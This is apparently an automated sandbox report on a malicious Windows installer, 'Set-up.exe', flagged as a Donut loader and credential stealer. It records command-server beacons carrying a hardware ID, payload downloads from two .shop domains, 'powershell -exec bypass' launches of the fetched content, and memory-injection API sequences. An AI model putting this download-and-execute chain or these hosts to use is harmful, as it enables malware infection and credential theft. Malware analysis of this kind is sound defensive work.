2024-12-24 00:18:29 UTC	114	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 4a 45 4e 59 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 26 68 77 69 64 3d 44 39 42 43 42 45 30 45 37 43 35 34 45 39 37 32 33 36 30 33 46 35 35 31 37 45 33 44 36 37 35 33 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--JENYA&j=efdebde057a1df3f7c15b7f4da907c2d&hwid=D9BCBE0E7C54E9723603F5517E3D6753
2024-12-24 00:18:30 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ftv7gru10lgcok0jmjee0ki2k2; expires=Fri, 18 Apr 2025 18:05:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9U6y0fTrnMF%2Fytx%2BxY1HExu7dovPLpHPnpfWMpHtp%2BvRtqTN2NMZTY8gjVcfExfED1jJjL4u2tDbGLGIooODjNevStI3jRYLXw2YnKq6zOYQwZ%2FL1Q6vxxvX9lAltWpohZa4e%2FY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c6a1869e77cab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1811&min_rtt=1808&rtt_var=685&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1017&delivery_rate=1587819&cwnd=192&unsent_bytes=0&cid=83f1f3330b6fa4ae&ts=1066&x=0"
2024-12-24 00:18:30 UTC	218	IN	Data Raw: 64 34 0d 0a 31 4a 58 73 4a 62 37 78 43 42 4a 51 6b 7a 79 4f 6b 34 34 4c 4c 74 2f 51 57 2f 33 70 37 45 31 6f 7a 59 45 78 4a 44 31 66 39 78 53 50 37 73 35 51 6e 4d 73 71 65 69 54 6e 54 50 32 70 30 69 52 79 38 4c 34 2b 6a 49 44 43 50 67 43 69 38 57 30 4c 54 6a 75 51 66 71 33 67 6d 48 6d 52 67 58 74 36 66 75 64 45 2b 72 47 69 4b 55 69 72 38 6d 48 50 78 63 34 6f 53 76 65 77 54 41 68 47 66 59 49 32 37 72 65 45 55 63 71 42 65 79 67 4d 76 47 43 68 2b 4f 4a 69 58 71 75 35 49 59 7a 48 6e 79 55 48 76 64 30 65 54 56 4d 72 71 48 65 34 35 62 4e 4a 32 6f 4e 58 59 54 6a 79 45 76 72 72 2b 69 6b 43 2f 62 59 76 33 39 50 65 59 55 71 6f 6f 77 73 56 51 41 49 3d 0d 0a Data Ascii: d41JXsJb7xCBJQkzyOk44LLt/QW/3p7E1ozYExJD1f9xSP7s5QnMsqeiTnTP2p0iRy8L4+jIDCPgCi8W0LTjuQfq3gmHmRgXt6fudE+rGiKUir8mHPxc4oSvewTAhGfYI27reEUcqBeygMvGCh+OJiXqu5IYzHnyUHvd0eTVMrqHe45bNJ2oNXYTjyEvrr+ikC/bYv39PeYUqoowsVQAI=
2024-12-24 00:18:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49761	172.67.169.205	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:31 UTC	199	OUT	GET /sdgjyut/psh.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: neqi.shop
2024-12-24 00:18:35 UTC	949	IN	HTTP/1.1 523 Date: Tue, 24 Dec 2024 00:18:35 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yvRRZU%2BVcnhbCLYNSypk7tY4AXOdX%2FUd0S0EBVKIi%2FyzOYc1jV3nK4F%2Frb1EX8yT5AKKJEM00qmTpQrLY9Oq6ysSP%2F3XS8tgAcXJhcQVWZGqC62UW%2BDIxMLIxYM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8f6c6a2799d8c411-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1680&min_rtt=1667&rtt_var=652&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=813&delivery_rate=1645997&cwnd=224&unsent_bytes=0&cid=14fbf5fcbc12031d&ts=3592&x=0"
2024-12-24 00:18:35 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 33 Data Ascii: error code: 523

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49772	104.21.84.113	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:36 UTC	207	OUT	GET /int_clp_ldr_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: kliptizq.shop
2024-12-24 00:18:37 UTC	554	IN	HTTP/1.1 403 Forbidden Date: Tue, 24 Dec 2024 00:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XvlHHMKzdPrmr%2B8hArqcQ%2BQgJpsMpIJi6xDJzp62hNWLCWtiIPGd6I9HncLdC%2B6Op%2Bg8BwLsr9W0ixiXj0fTVFtdV9FXMU%2B9Bg0%2Ff3OgnXgx53MJHqNTqgdU93YYAtok"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c6a468cd6de9b-EWR
2024-12-24 00:18:37 UTC	815	IN	Data Raw: 31 31 64 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11d4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-12-24 00:18:37 UTC	1369	IN	Data Raw: 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 Data Ascii: es/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('c
2024-12-24 00:18:37 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="
2024-12-24 00:18:37 UTC	1019	IN	Data Raw: 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 Data Ascii: reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"
2024-12-24 00:18:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	19:17:57
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\'Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\'Set-up.exe"
Imagebase:	0x400000
File size:	75'052'076 bytes
MD5 hash:	F27E776397563E8ACF25AE754DC758D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2330195563.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:18:34
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass error code: 523
Imagebase:	0xe50000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:18:34
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:18:36
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass <!DOCTYPE html> <!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--> <!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--> <!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--> <!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--> <head> <title>Suspected phishing site \| Cloudflare</title> <meta charset="UTF-8" /> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width,initial-scale=1" /> <link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" /> <!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--> <style>body{margin:0;padding:0}</style> <!--[if gte IE 10]><!--> <script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cookie-alert'); cookieEl.style.display = 'block'; }) } </script> <!--<![endif]--> </head> <body> <div id="cf-wrapper"> <div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div> <div id="cf-error-details" class="cf-error-details-wrapper"> <div class="cf-section cf-wrapper" style="margin-top: 100px;margin-bottom:200px;"> <div class="cf-columns one"> <div class="cf-column"> <h4 class="cf-text-error"><i class="cf-icon-exclamation-sign" style="background-size: 18px; height: 18px; width: 18px; margin-bottom: 2px;"></i> Warning</h4> <h2 style="margin: 16px 0;">Suspected Phishing</h2> <strong>This website has been reported for potential phishing.</strong> <p>Phishing is when a site attempts to steal sensitive information by falsely presenting as a safe source.</p> <div style="display: flex; align-items: center;"> <p> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain"> <input type="hidden" name="atok" value="gIVICfXZ57Xm8TFCFb_U7tR.ZkObLtdfUiGJ9wnfr2M-1734999517-0.0.1.1-/int_clp_ldr_sha.txt"> <button type="submit" class="cf-btn cf-btn-danger" style="color: #bd2426; background: transparent;" data-translate="dismiss_and_enter">Ignore & Proceed</button> </form> </p> </div> </div> </div> </div><!-- /.section --> <div id="ts-blocks" style="display:none;"></div> <div class="cf-error-footer cf-wrapper w-240 lg:w-full py-10 sm:py-4 sm:px-8 mx-auto text-center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8f6c6a468cd6de9b</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">8.46.123.189</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a></span> </p> <script>(function(){function d(){var b=a.getElementById("cf-footer-item-ip"),c=a.getElementById("cf-footer-ip-reveal");b&&"classList"in b&&(b.classList.remove("hidden"),c.addEventListener("click",function(){c.classList.add("hidden");a.getElementById("cf-footer-ip").classList.remove("hidden")}))}var a=document;document.addEventListener&&a.addEventListener("DOMContentLoaded",d)})();</script> </div><!-- /.error-footer --> </div><!-- /#cf-error-details --> </div><!-- /#cf-wrapper --> <script> window._cf_translation = {}; </script> </body> </html>
Imagebase:	0xe50000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:18:36
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	32.2%
Total number of Nodes:	118
Total number of Limit Nodes:	10

Executed Functions

Function 0289C1A1 Relevance: 12.7, APIs: 8, Instructions: 730memorynativethreadCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 0289C23A
NtMapViewOfSection.NTDLL(?,00000000), ref: 0289C2E2
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 0289C656
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 0289C70B
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 0289C728
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 0289C7CB
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 0289C7FE
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0289C96F

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$CreateView$AllocThread
String ID:
API String ID: 1248616170-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: 3271905729ebd830babe7763cbb05675b07da4ab7a1731e685c189f725ce311e
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: EE427C79604341AFDB24DF28C844B6AB7E9FF88714F08492EF989DB251D732E944CB91

Function 02850AF1 Relevance: 7.6, APIs: 5, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,02850637,?,00000001,?,81EC8B55,000000FF), ref: 02850B2F
Thread32First.KERNEL32(00000000,0000001C), ref: 02850B5B
Wow64SuspendThread.KERNEL32(00000000), ref: 02850BAE
CloseHandle.KERNEL32(00000000), ref: 02850BD8
Thread32Next.KERNEL32(00000000,0000001C), ref: 02850BF0

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID: Thread32$CloseCreateFirstHandleNextSnapshotSuspendThreadToolhelp32Wow64
String ID:
API String ID: 915977163-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: d8161b0ba9eab6a6ebf8257afcc9c64ad2cc2788d2be0c225ce3ec3559ea5cfb
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: 54411BB9A00118AFDB18DF98C490BADB7B6EF88304F10C068EA15DB794DB34EE45CB54

Function 028503E1 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 02850684
TerminateProcess.KERNELBASE(000000FF,00000000), ref: 02850978

Strings

XV, xrefs: 028504BB

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID: CreateProcessTerminateThread
String ID: XV
API String ID: 1197810419-2981310818
Opcode ID: d24486d5d099a25426f57a89ce051ef5c53a843021d8d9c956fc26d392de44a1
Instruction ID: b27118c0ee7b1c8fcc36869770685336bfc754a1582458e83139ab5eb23e1c02
Opcode Fuzzy Hash: d24486d5d099a25426f57a89ce051ef5c53a843021d8d9c956fc26d392de44a1
Instruction Fuzzy Hash: 1D12C5B8E00219DFDB14CF98C990BADBBB2FF88304F2481A9D915AB385D7756A41CF54

Function 028509A1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 02850A6D

Strings

,, xrefs: 02850AB9

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: d13f87c374758646e28cf1b120c853391977cd8aa49fdc1e55a655c789856812
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: 1441DB78A00208EFDB14CF98C994BAEB7B1FF48314F208198E515AB385D771AE91CF94

Function 0289CE1F Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 0289CEB1

Strings

.dll, xrefs: 0289CE56

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: 5abb973c8b574743ef7921f5a9ac5f6db3a78e1b80f313d392d0f194c892eb4d
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: 2721B73D6042859FDF21DFADD884B6D7BA8AF49224F1C416ED807C7641D731E8458790

Function 0289BA71 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0289BAEB
VirtualFree.KERNELBASE(00000000,00000000,0000C000), ref: 0289BE2F

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: 6c8b8bba0c2777cc85f6ce487d008b437d787eb3e2931a7d3c966f64f70ca3fe
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: D2B1D23D100A05ABDF25EE68DC80BABB7E9FF4530CF180529E949D2150EB31F551CBA2

Non-executed Functions

Function 028862F1 Relevance: 41.6, Strings: 33, Instructions: 300
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 02886327
j, xrefs: 0288643F
s, xrefs: 0288644D
r, xrefs: 02886389
c, xrefs: 02886423
Y, xrefs: 028866AE
l, xrefs: 0288645B
a, xrefs: 028863EB
<, xrefs: 0288654C
0, xrefs: 02886698
$, xrefs: 028863A5
O, xrefs: 0288635F
U, xrefs: 02886343
8, xrefs: 028862FD
Y, xrefs: 02886319
W, xrefs: 02886351
{, xrefs: 028863C1
s, xrefs: 028866BC
*, xrefs: 028863CF
>, xrefs: 02886555
o, xrefs: 028863B3
mlkj, xrefs: 02886746
h, xrefs: 02886431
b, xrefs: 028863DD
r, xrefs: 028866B5
g, xrefs: 02886415
F, xrefs: 0288630B
R, xrefs: 0288636D
G, xrefs: 02886493
J, xrefs: 0288637B
{, xrefs: 02886397
2, xrefs: 02886407
d, xrefs: 028863F9

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2850000_'Set-up.jbxd

Yara matches

Similarity

API ID:
String ID: $$*$0$2$8$<$>$A$F$G$J$O$R$U$W$Y$Y$a$b$c$d$g$h$j$l$mlkj$o$r$r$s$s${${
API String ID: 0-1667925477
Opcode ID: e29282e33ecf6e91bc58c60a0f1dccb4e7578be776baa66d443ea361cce951ff
Instruction ID: bce2fe201df4ffeee6f4675d7ce1a117aa3d307f628e8fd7fe2ec2a9a92ccf46
Opcode Fuzzy Hash: e29282e33ecf6e91bc58c60a0f1dccb4e7578be776baa66d443ea361cce951ff
Instruction Fuzzy Hash: DFF180359086FA8ADB32C63C8C147DDAEA15B56324F0843E9C4E96B3D2D6B50B85CF52

Function 02885B21 Relevance: 39.2, Strings: 31, Instructions: 409
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 02885CC1
C, xrefs: 02885ECF
Q, xrefs: 02885D31
L, xrefs: 02885D09
mlkj, xrefs: 0288607B
<, xrefs: 02885CC9
$, xrefs: 02885C81
c, xrefs: 02885F0B
g, xrefs: 02885B50
Z, xrefs: 02885D61
c, xrefs: 02885B34
;, xrefs: 02885CE1
a, xrefs: 02885F03
o, xrefs: 02885B88
%, xrefs: 02885C71
k, xrefs: 02885B6C
e, xrefs: 02885B42
&, xrefs: 02885B2D
b, xrefs: 02885F07
m, xrefs: 0288600B
i, xrefs: 02885B5E
N, xrefs: 02885B81
Xh>, xrefs: 02885E11
g, xrefs: 02885D79
4, xrefs: 02885FE9
0, xrefs: 02885CB1
m, xrefs: 02885DA1
o, xrefs: 02885D99
m, xrefs: 02885B7A
=, xrefs: 02885CB9
F, xrefs: 02885B49

Memory Dump Source

Source File: 00000000.00000002.2496099492.0000000002850000.00000040.00001000.00020000.00000000.sdmp, Offset: 02850000, based on PE: false

Joe Sandbox IDA Plugin

